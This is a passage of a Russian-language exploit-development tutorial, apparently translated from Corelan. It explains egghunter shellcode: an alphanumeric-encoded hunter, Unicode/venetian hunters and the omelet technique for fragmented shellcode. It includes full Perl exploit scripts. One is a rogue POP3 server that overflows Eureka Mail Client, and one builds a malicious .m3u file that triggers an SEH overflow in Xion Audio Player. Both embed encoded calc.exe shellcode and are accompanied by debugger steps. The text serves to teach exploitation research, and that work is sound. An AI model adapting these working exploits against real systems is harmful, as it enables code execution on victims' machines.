x0F x42 x52 x6A -> x6A x52 x42 x0F: (2’s complement : 0x95ADBDF1)
-----------------------------------------------------------------
sub eax, 0x31393E50
sub eax, 0X32393E50
sub eax, 0x323B4151

И наконец, первая группа:

x66 x81 xca xff -> xff xca x81 x66 (2’s complement : 0x00357E9A)
----------------------------------------------------------------
sub eax, 0x55703533
sub eax, 0x55702533
sub eax, 0x55552434

Каждый из этих блоков должен быть предварен кодом, который обнуляет EAX:

Пример:

AND EAX,554E4D4A   ("\x25\x4A\x4D\x4E\x55")
AND EAX,2A313235   ("\x25\x35\x32\x31\x2A")

(2-е инструкции AND по 5 байт, каждая)

Каждый блок должен сопровождаться инструкцией PUSH EAX (занимает один байт, «\x50»), которая помещает результат (одну группу кода охотника) в стек. Не забывайте об этом, иначе ваш декодированный охотник не будет помещен в стек.

Итак: каждый блок будет занимать: 10 байт (обнуление EAX) + 15 байт (декодирование) + 1 байт (PUSH EAX) = 26 байт. Так как мы имеем восемь блоков, их общий размер составит 208 байт.

Обратите внимание, что при конвертировании инструкции SUB EAX, <Значение> в опкоды, нужно не забыть инвертировать значения байтов… так что, инструкция SUB EAX, 0x476D556F превратится в «\x2d\x6f\x55\x6d\x47».

Следующее, что нужно сделать, это убедиться в том, что декодированный охотник будет выполнен сразу после своего восстановления (декодирования).

Для того чтобы сделать это, нам нужно поместить его по предсказуемому местоположению и перейти на него, как только он будет декодирован. Или нам нужно поместить его прямо после деокдера, так что он сам, автоматически будет выполнен.

Если мы можем писать в предсказуемое место (поскольку, можем изменять ESP перед запуском декодера), и если после того как декодер завершит свою работу, мы сможем перейти на декодированный код охотника (ESP) – все будет работать отлично.

Конечно, если ваш набор символов ограничен, то вы, вероятно, не сможете добавить «JMP ESP», «PUSH ESP/RET» или что-нибудь подобное в конец декодера охотника. Но если вы можете, то это хорошие новости.

Если это невозможно сделать, то вам нужно будет размещать декодированный код охотника сразу после декодера. Таким образом, восстановленный код охотника, начнет выполняться следом за кодом декодера, когда тот завершит свою работу. Для того, чтобы сделать это, вам нужно будет вычислить то место, где будет расположен код восстановленного охотника. Так как мы знаем количество байтов декодера, то мы можем попытаться модифицировать ESP соответствующим образом (и осуществить это до того, как будет начат процесс декодирования). Благодаря этому, декодированные байты будут размещаться прямо после кода декодера.

Техника используемая для изменения ESP зависит от доступного набора символов. Если вы можете использовать только печатаемые ASCII символы, то вы не сможете использовать инструкции ADD, SUB или MOV… Один из метод, который, вероятно, будет работать – это выполнение серии инструкций POPAD для изменения значения ESP, тем самым заставляя его указывать на конец декодера. Вам, возможно, придется добавить несколько инструкций NOP в конец декодера для большей безопасности. (в качестве нупов, хорошо работает опкод «\x41», когда вы должны использовать только печатаемые ASCII символы).

Применив всё, что было описано выше, вы получите следующее:

Код изменяющий ESP (POPAD) + декодер (8 блоков: очистка EAX, восстановление кода, PUSH в стек) + несколько нупов (NOP) если необходимо…

Применив эту техники к эксплойту для Eureka Mail Client, получим следующее:

use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;

#alphanumeric ascii-printable encoded + bad chars
# tag = w00t
my $egghunter =
#popad - make ESP point below the encoded hunter
"\x61\x61\x61\x61\x61\x61\x61\x61".
#-----8 blocks encoded hunter---------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x30\x71\x55\x71".   #x75 xE7 xFF xE7
"\x2d\x30\x71\x55\x71".
"\x2d\x2B\x36\x55\x35".
"\x50".                   #push eax
#--------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x71\x30\x71\x71".   #xAF x75 xEA xAF
"\x2d\x71\x30\x71\x71".
"\x2d\x6F\x29\x33\x6D".
"\x50".                   #push eax
#--------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x50\x30\x25\x65".   #x30 x74 x8B xFA
"\x2d\x50\x30\x25\x65".
"\x2d\x30\x2B\x2A\x3B".
"\x50".                   #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x71\x71\x30\x41".   #xEF xB8 x77 x30
"\x2d\x71\x71\x30\x41".
"\x2d\x2F\x64\x27\x4d".
"\x50".                   #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x42\x53\x30\x30".   #x3C x05 x5A x74
"\x2d\x41\x53\x30\x30".
"\x2d\x41\x54\x45\x2B".
"\x50".                   #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x54\x30\x66\x46".   #x02 x58 xCD x2E
"\x2d\x55\x30\x66\x46".
"\x2d\x55\x47\x66\x44".
"\x50".                   #push eax
#---------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x50\x3e\x39\x31".   #x0F x42 x52 x6A
"\x2d\x50\x3e\x39\x32".
"\x2d\x51\x41\x3b\x32".
"\x50".                   #push eax
#----------------------------
"\x25\x4A\x4D\x4E\x55".   #zero eax
"\x25\x35\x32\x31\x2A".   #
"\x2d\x33\x35\x70\x55".   #x66 x81 xCA xFF
"\x2d\x33\x25\x70\x55".
"\x2d\x34\x24\x55\x55".
"\x50".                   #push eax
#------------------------------
"\x41\x41\x41\x41";       #some nops

#calc.exe
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

my $payload=$junk.$ret.$egghunter.$padding."w00tw00t".$shellcode;

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host\n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  my $cnt=1;
  while($cnt<10)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
	 $cnt=$cnt+1;
  }
}
close CLIENT;
print "[+] Connection closed\n";

Вы, вероятно, сможете, а может и не сможете использовать этот код в вашем эксплойте – тем не менее, этот код был создан в ручную и базируется он на текущем списке плохих символов, на смещении (offset) требуемом для записи в конец декодера и так далее.

Просто, примите во внимание, что закодированный код будет (намного) больше (так что вам нужен будет буфер большей длины) чем незакодированный/оригинальный код охотника. Код который я использовал равен 220 байтам…

Что если ваш payload подвергается преобразованию в Unicode формат?

Хороший вопрос!

Есть два сценария решения этой проблемы, позволяющий сделать ваш payload-рабочим:

Сценарий 1: Где-то в памяти можно найти ASCII версию пэйлоада.

Такое иногда случается, поэтому имеет смысл провести исследование. Когда данные принимаются приложением в ASCII-формате, они сохраняются в памяти перед тем, как будут преобразованы в Unicode. После преобразования в Unicode они все еще могут хранится (и быть доступными) в памяти, в момент когда происходит переполнение.

Лучшим способом для определения того, доступен ли шеллкод в ASCII-формате или нет, является использование плагина pvefindaddr. Для этого нужно записать шеллкод в файл и использовать фичу !pvefindaddr compare . Если шеллкод будет найден и он не будет изменен, поврежден или преобразован в Unicode формат, то плагин сообщит вам об этом.

При таком сценарии, вам нужно:

  • Преобразовать код охотника в венецианский шеллкод и выполнить его. После преобразования код охотника будет намного больше, чем его оригинальная версия в ASCII-формате, поэтому важно иметь достаточно места в буфере для его размещения.
  • Разместить реальный шеллкод (предваренный тегом) где-то в памяти. Тег и шеллкод должны быть в ASCII-формате.

Когда венецианский охотник будет запущен, он легко найдет ASCII-версию шеллкода в памяти и выполнит его.

Преобразовать охотника в венецианский шеллкод довольно просто. Для этого нужно поместить его (включая тег/маркер) в файл и использовать alpha2 (или недавно выпущенную alpha3 от skyline) для того, чтобы преобразовать его в Unicode-версию (как это сделать, объяснялось в моём предыдущем уроке о Unicode).

В случае, если вы слишком устали, чтобы сделать это самим, то вот вам Unicode-версия охотника за яйцами, который использует тег w00t и регистр EAX в качестве базового регистра:

#Corelan Unicode egghunter - Basereg=EAX - tag=w00t
my $egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ".
"ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX".
"A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA".
"BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4".
"4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA";

Хорошей вещью в Unicode-версии охотника является то, что в нем легче настроить начальное место, с которого он начнет свой поиск (если это потребуется).

Помните, мы говорили об этом немного раньше? Если шеллкод можно найти в стеке, то зачем искать его в больших кусках памяти, если можно просто начать поиск с более близкого места к нему. Еще одной хорошей вещью в использовании венецианской версии охотника является то, что он может содержать нулевые байты, поскольку эти байты не представляют здесь никаких проблем.

Таким образом если вы хотите заменить «\x66\x81\xCA\xFF\x0F» на «\x66\x81\xCA\x00\x00», чтобы повлиять на начальное местоположение, с которого охотник начнет свой поиск, то это не вызовет у вас никаких проблем. (На самом деле, именно это я и сделал, когда создал Unicode-версию охотника, и не потому, что я должен был делать это, а просто потому, что я хотел это попробовать).

Сценарий 2: Unicode payload only

В этом сценарии вы не можете использовать ASCII-версиею шеллкода, поскольку все данные находятся в Unicode.

В таких условиях создание рабочего эксплойта займет немного больше времени.

Прежде всего, вам нужен охотник в формате Unicde, так же вам нужно убедиться в том, что тег/маркер, используемый охотником, дружественен к Unicode. Ну, и в конечном с чете, вам нужно поместить тег перед реальным шеллкодом (и этот тег должен соответствовать формату Unicode).

В дополнение к этому, вам нужно будет настраивать регистры два раза: один раз, чтобы выполнить код охотника, и затем второй раз, между поиском тега и запуском реального шеллкода (так что, вы так же можете декодировать шеллкод). Итак, кратко:

  • Вызвать переполнение и передать исполнение на
  • код, который настроит регистр и добавит выравнивание (padding), если требуется, а затем перейдет (jump) на
  • шеллкод в формате Unicode, который сам себя деокдирует и запустит охотника за яйцами, который будет
  • искать двойной тег в памяти, и после того, как найдет его он
  • выполнит код, который будет находиться сразу за тегом, и которому будет нужно
  • снова настроить регистр и добавить выравнивание (padding), и уже после того, он
  • выполнит (реальный) шеллкод в формате Unicode (который снова сам себя декодирует и выполнит конечный шеллкод).

Нам нужно создать венецианского охотника, который будет содержать тег, который можно бы было использовать перед реальным шеллкодом, и который должен быть дружественный к Юникоду. В примере выше, в качестве тега, я использовал w00t, которые в HEX равен 0×77, 0×30, 0×30, 0×74 ( w00t записан в обратном направлении из-за следования обратному порядку байтов). Таким образом, если вы замените первый и третий байты нулевый байтом, мы получим следующую последовательность 0×00, 0×30, 0×00, 0×74 (или в ASCII: t – null – 0 – null)

Небольшой скрипт, который запишет охотника за яйцами в файл, выглядит следующим образом:

#!/usr/bin/perl
# Little script to write egghunter shellcode to file
# 2 files will be created :
# - egghunter.bin : contains w00t as tag
# - egghunterunicode.bin : contains 0x00,0x30,0x00,0x74 as tag
#
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#
my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; 

print "Writing egghunter with tag w00t to file egghunter.bin...\n";
open(FILE,">egghunter.bin");
print FILE $egghunter;
close(FILE); 

print "Writing egghunter with unicode tag to file egghunter.bin...\n";
open(FILE,">egghunterunicode.bin");
print FILE "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C";
print FILE "\x05\x5A\x74\xEF\xB8";
print FILE "\x00";   #null
print FILE "\x30";   #0
print FILE "\x00";   #null
print FILE "\x74";   #t
print FILE "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
close(FILE);

(Создание двух версий файлов для ASCII и Unicode, может однажды пригодиться)

Теперь, преобразуем «egghunterunicode.bin» в венецианский шеллкод:

./alpha2 eax --unicode --uppercase < egghunterunicode.bin
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI
1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABA
BABAB30APB944JBQVSQGZKOLOORB2BJLB0XHMNNOLLEPZ3DJO6XKPNPKP
RT4KZZVO2UJJ6ORUJGKOK7A

При создании Unicode версии пэйлоада, вы должны предварить реальный (Unicode) шеллкод – тегом, который бы был совместимым с форматом Unicode: «0t0t» (без кавычек). При преобразовании этой строки в Unicode, получится следующая последовательность: 0×00 0×30 0×00 0×74 0×00 0×30 0×00 0×74… именно её и нужно использовать в качестве маркера, который следует поместить в код охотника, перед тем, как тот будет преобразован в совместимый с юникодом формат (см. скрипт выше).

Между тегом «0t0t» и реальным (венецианским) шеллкодом, который нужно поместить после маркера, вам вероятно нужно будет включить выравнивание регистра, иначе венецианский декодер не будет работать. Если, например, вам нужно преобразовать ваш реальный шеллкод в венецианский шеллкод, используя EAX в качестве базового регистра, то вам нужно заставить начало декодера снова указывать на регистр … Если вы читали Урок 7, то вы знаете о чем я говорю.

В большинстве случаев, охотник поместит текущий адрес стека в EDI (поскольку он использует этот регистр, чтобы отслеживать местоположение в памяти, где размещен тег яйца. Сразу после того как будет найден тег, этот регистр будет указывать на его последний байт). Таким образом, было бы довольно просто (например) поместить адрес из EDI в EAX и увеличивать EAX до тех пор, пока его адрес не будет указывать на место, где размещен венецианский шеллкод, или просто изменить EDI (и использовать венецианский шеллкод, который бы в качестве базового регистра использовал EDI).

Первая инструкция для выравнивания, будет начинаться с нулевого байта, потому что им является последний байт тега «30 00 74 00 30 00 74 00». Так что нам нужно осуществить выравнивание с помощью инструкции, которая бы имела такую форму «00 xx 00». Инструкция «00 6D 00» будет работать (как в прочем и другие).

Примечание: убедитесь в том, что декодер венецианского шеллкода не перезаписывает никаких своих инструкций или инструкции охотника за яйцами, поскольку это приведет повреждению эксплойта.

Давайте посмотрим, работает ли эта теория

Будем снова использовать уязвимость в xion audio player 1.0 build 121 (см. Урок 7) для демонстрации того, что теория действительно работает. Я не собираю повторять все шаги создания эксплойта, но, тем не менее, я включил некоторые детали, в виде комментариев, в скрипт эксплойта. Создание/чтение/использование этого эксплойта требует от вас полного освоения материала из Урока 7. Так что, если вы что-то в этом эксплойте не понимаете, то я бы настоятельно рекомендовал вам либо прочитать Урок 7, либо пропустить этот эксплойт и перейти к следующей главе.

# [*] Vulnerability : Xion Audio Player Local BOF
# [*] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com)
# -----------------------------------------------------------------------
# Exploit based on original unicode exploit from tutorial part 7
# but this time I'm using a unicode egghunter, just for phun !
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
my $sploitfile="corelansploit.m3u";
my $junk = "\x41" x 254;  #offset until we hit SEH
my $nseh="\x58\x48"; #put something into eax - simulate nop
my $seh="\xf5\x48"; #ppr from xion.exe - unicode compatible
# will also simulate nop when executed
# after p/p/r is executed, we end here
# in order to be able to run the unicode decoder
# we need to have eax pointing at our decoder stub
# we'll make eax point to our buffer
# we'll do this by putting ebp in eax and then increase eax
# until it points to our egghunter
#first, put ebp in eax (push / pop)
my $align="\x55";  #push ebp
$align=$align."\x6d";   #align/nop
$align=$align."\x58";   #pop eax
$align=$align."\x6d";   #align/nop
#now increase the address in eax so it would point to our buffer
$align = $align."\x05\x10\x11";   #add eax,11001300
$align=$align."\x6d";   #align/nop
$align=$align."\x2d\x02\x11";   #sub eax,11000200
$align=$align."\x6d";   #align/nop
#eax now points at egghunter
#jump to eax now
my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret
#fill the space between here and eax
my $padding="A" x 73;
#this is what will be put at eax :
my $egghunter ="PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
"AB30APB944JB36CQ7ZKPKPORPR2JM2PXXMNNOLKUQJRT".
"ZOVXKPNPM0RT4KKJ6ORUZJFO2U9WKOZGA";

# - ok so far the exploit looks the same as the one used in tutorial 7
# except for the fact that the shellcode is the unicode version of
# an egghunter looking for the "0t0t" egg marker
# the egghunter was converted to unicode using eax as basereg
#
# Between the egghunter and the shellcode that it should look for
# I'll write some garbage (a couple of X's in this case)
# So we'll pretend the real shellcode is somewhere out there

my $garbage = "X" x 50; 

# real shellcode (venetian, uses EAX as basereg)
# will spawn calc.exe
my $shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX".
"A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABAB".
"ABAB30APB944JBKLK8OTKPKPM0DKOUOLTKSLM5SHKQJ".
"O4K0OLXTKQOMPKQZKOYTKP44KM1ZNNQY0V96L3TWPT4".
"KW7QHJLMKQWRZKL4OKQDNDKTBUIUTK1OO4KQJK1VTKL".
"LPK4K1OMLM1ZK4KMLTKKQJKSY1LMTKTGSNQWPRDTKOP".
"NPU5902XLLTKOPLLDK2PMLFMTKQXM8JKM94K3P6PM0K".
"PKP4KQXOLQONQL6QPPV59KH53GP3K0PQXJPDJM4QO2H".
"68KN4JLN0WKOK7QSC1RLQSKPA";
# between the egg marker and shellcode, we need to align
# so eax points at the beginning of the real shellcode
my $align2 = "\x6d\x57\x6d\x58\x6d";  #nop, push edi, nop, pop eax, nop
$align2 = $align2."\xb9\x1b\xaa";  #mov ecx, 0xaa001b00
$align2 = $align2."\xe8\x6d";  #add al,ch + nop  (increase eax with 1b)
$align2 = $align2."\x50\x6d\xc3";  #push eax, nop, ret
#eax now points at the real shellcode

#fill up rest of space & trigger access violation
my $filler = ("\xcc" x (15990-length($shellcode)));

#payload
my $payload = $junk.$nseh.$seh.$align.$jump.$padding.$egghunter;
$payload=$payload.$garbage."0t0t".$align2.$shellcode.$filler;

open(myfile,">$sploitfile");
print myfile $payload;
print "Wrote " . length($payload)." bytes to $sploitfile\n";
close(myfile);

Pwned !

Примечание: если размер действительно является проблемой (для конечного шеллкода), то вы могли бы сократить количество байтов используемых для выравнивая, благодаря использованию того, что уже находится в EDI (вместо использования EAX в качестве базового регистра. Конечно, если вы захотите действовать этим путем, вам придется сгенерировать шеллкод, который бы использовал EDI в качестве базового регистра), and by avoiding the push + ret instructions. Вы могли бы просто сделать так, чтобы EDI указывал на адрес, сразу после последней инструкции выравнивания с помощью нескольких простых инструкций.

Другой пример кода охотника, совместимого с Unicode, можно найти здесь: http://www.pornosecurity.org/blog/exploiting-bittorrent (demo at http://www.pornosecurity.org/bittorrent/bittorrent.html)

Некоторые советы по отладке подобных эксплойтов при помощи Immunity Debugger:

Это SEH-ориентированный эксплойт, так что, когда приложение упадет, смотрите на место расположение SEH-цепочки и ставьте на неё брейкпойнт. Пропустите исключение (Shift F9) к приложению и брейкпойнт сработает. На моей системе, SEH-цепочка была расположена по адресу 0x0012f2ac.

Протрассируйте код (F7) до тех пор, пока вы не увидите, что декодер начинает декодировать и записывать оригинальные инструкции кода охотника в стек.

В моем случае, декодер начал записывать оригинальный код охотника в память стека, начиная с адреса 0x0012f460.

Как только я увидел первую инструкцию по адресу 0x0012f460 (которой была инструкция с опкодом 66 81 CA), я установил брейкпойнт на адрес 0x0012f460.

Затем нажмите CTRL+F12, после чего сработает брейкпойнт и вы остановитесь по адресу 0x0012f460. В данной точке, код оригинального охотника полностью восстановлен и сейчас он готов начать поиск маркера.

По адресу 0x0012f47b (см. скриншот) мы видим инструкцию, которая выполнится в момент, когда яйцо будет найдено. Установите новый брейкпойнт на адрес 0x0012f47b и снова нажмите CTRL+F12. Если брейкпойнт сработает, то яйцо было найдено. Теперь снова жмите на F7 до тех пор, пока вы не дойдете и не выполните инструкцию JMP EDI (охотник помещает адрес яйца в EDI и затем с помощью инструкции JMP EDI перенаправляет поток управление на местонахождение яйца). Когда инструкция JMP EDI будет выполнена, мы окажемся на последнем байте маркера.

Это то место, где находится наш второй код выравнивания. Он заставляет EAX указывать на шеллкод (стаб декодера), после чего выполняет инструкции PUSH EAX + RET.

Омлет охотника за яйцами (Все ваши яйца, даже поврежденные, принадлежат нам!)

Что? Поврежденные яйца? О чем ты?

Что если вы окажитесь в ситуации, когда у вас не будет достаточно количества памяти для размещения в ней вашего шеллкода, но, тем не менее, вам будет доступно множество маленьких кусков, контролируемой памяти? В этом случае, можно попробовать использовать технику фрагментации шеллкода, называемую омлетом охотника за яйцами (omelet egg hunting).

При использовании этой техники, вам нужно разбить шеллкод на маленькие куски, поместить их в память и выполнить код охотника, который найдет все яйца, объединит их и сделает из них омлет… эээ …Я имею ввиду, что он выполнит объединенный шеллкод.

Основная идея лежащая за омлетом по большей части такая же, как и при использовании обычного охотника, но есть два основных отличия:

  • Конечный шеллкод разбит на куски (несколько яиц).
  • Конечный шеллкод объединяется перед тем, как он будет выполнен (таким образом, он не выполняется сразу после того, как он был найден).

В дополнение к этому, код охотника (или код омлета) значительно больше, чем код нормального охотника (около 90 байт против 30-60 байт нормального охотника).

Этот метод был задокументирован Скайлайном (Skylined, Berend-Jan Wever) здесь (Google Project files можно найти здесь). Цитата от Berend-Jan:

Этот метод похож на шеллкод обычного охотника, но в отличи от него, код данного охотника, будет осуществлять поиск несколько маленьких яиц. После того как все яйца будут найдены, он объединит их в один большой блок кода и выполнит получившийся шеллкод. Это полезно в ситуациях, когда вы не можете использовать блок достаточного размера, чтобы хранить шеллкод в одном куске памяти, но можете использовать несколько маленьких блоков и выполнить их один за другим.

Как это работает?

Оригинальный шеллкод необходимо разбить на маленькие куски/яйца. Каждое яйцо должно иметь заголовок, который содержит:

  • Длину яйца.
  • Порядковый номер.
  • 3-х байтовый маркер (используемый для обнаружения яйца).

Омлетный охотник также должен знать: какой размер у яиц, сколько их будет и какой 3-х байтовый (тег или маркер) будет использоваться для их идентификации.

Когда код омлета будет запущен, он начнет искать яйца в памяти и будет объединять их в оригинальный шеллкод (который был до этого разбит на меленькие части) в нижней части стека. По окончании своей работы, он перейдет на восстановленный шеллкод и выполнит его. Код омлета, написанный Скайлайном, использует SEH-обработчик для обработки ошибок, связанных с нарушением прав доступа, которые могут проявляются во время чтения памяти.

К счастью, Скайлайн написал набор скриптов, которые автоматизируют весь процесс разбиения шеллкода на маленькие яйца и производят код омлета. Загрузить эти скрипты можно отсюда. (Zip-файл содержит nasm-файл, который содержит омлетного охотника и Python скрипт для создания яиц). Если у вас установлен nasm, вы можете загрузить его здесь.

Я распаковал архив с кодом омлета в папку «С:\omelet», nasm у меня установлен в папке «С:\program files\nasm»

Компиляция nasm-файла в двоичный файл.

C:\omelet>"c:\program files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_SEH_omelet.asm -w+error

(Единожды скомпилированный файл можно будет использовать во всех ваших эксплойтах)

Как реализовать омлетного охотника?

1. Создайте файл, содержащий эксплойт, который вы хотите выполнить. (Я буду использовать «shellcode.bin»)

(Вы можете использовать скрипт, подобный представленному ниже, чтобы сгенерировать файл shellcode.bin. Просто замените $shellcode вашим шеллкодом и выполните скрипт. Шеллкод из моего примера запустит calc.exe):

my $scfile="shellcode.bin";
my $shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open(FILE,">$scfile");
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file ".$scfile."\n";

Запустите скрипт. Сейчас, файл shellcode.bin будет содержать двоичный код шеллкода. (Конечно, если вы хотите запустить что-то отличное от calc.exe, просто замените содержимое $shellcode).

2. Преобразование шеллкода в яйца

Давайте предположим, что мы выяснили, что в нашем распоряжении находится несколько кусков доступной памяти размером около 130 байт. Таким образом, нам нужно разбить шеллкод, размером в 303 байта, на 3 яйца (+ некоторые издержки – так что в итоге у нас может получиться 3 – 4 яйца). Максимальный размер каждого яйца равен 127 байтам. Так же нам нужнее маркер (размером 6 байт). В качестве маркера используем последовательность 0xBADA55.

Выполните следующую команду, чтобы создать шеллкод:

C:\omelet>w32_SEH_omelet.py
Syntax:
    w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"
        [egg size] [marker bytes]

Where:
    omelet bin file = The omelet shellcode stage binary code followed by three
                      bytes of the offsets of the "marker bytes", "max index"
                      and "egg size" variables in the code.
    shellcode bin file = The shellcode binary code you want to have stored in
                      the eggs and reconstructed by the omelet shellcode stage
                      code.
    output txt file = The file you want the omelet egg-hunt code and the eggs
                      to be written to (in text format).
    egg size =        The size of each egg (legal values: 6-127, default: 127)
    marker bytes =    The value you want to use as a marker to distinguish the
                      eggs from other data in user-land address space (legal
                      values: 0-0xFFFFFF, default value: 0x280876)

=> в нашем случае, мы используем следующую команду:

C:\omelet>w32_SEH_omelet.py w32_omelet.bin shellcode.bin calceggs.txt 127 0xBADA55

Откройте созданный файл calceggs.txt. Он будет содержать:

  • код омлетного охотника (который будет охотиться за яйцами)
  • яйца который должны быть размещены где-нибудь в памяти.

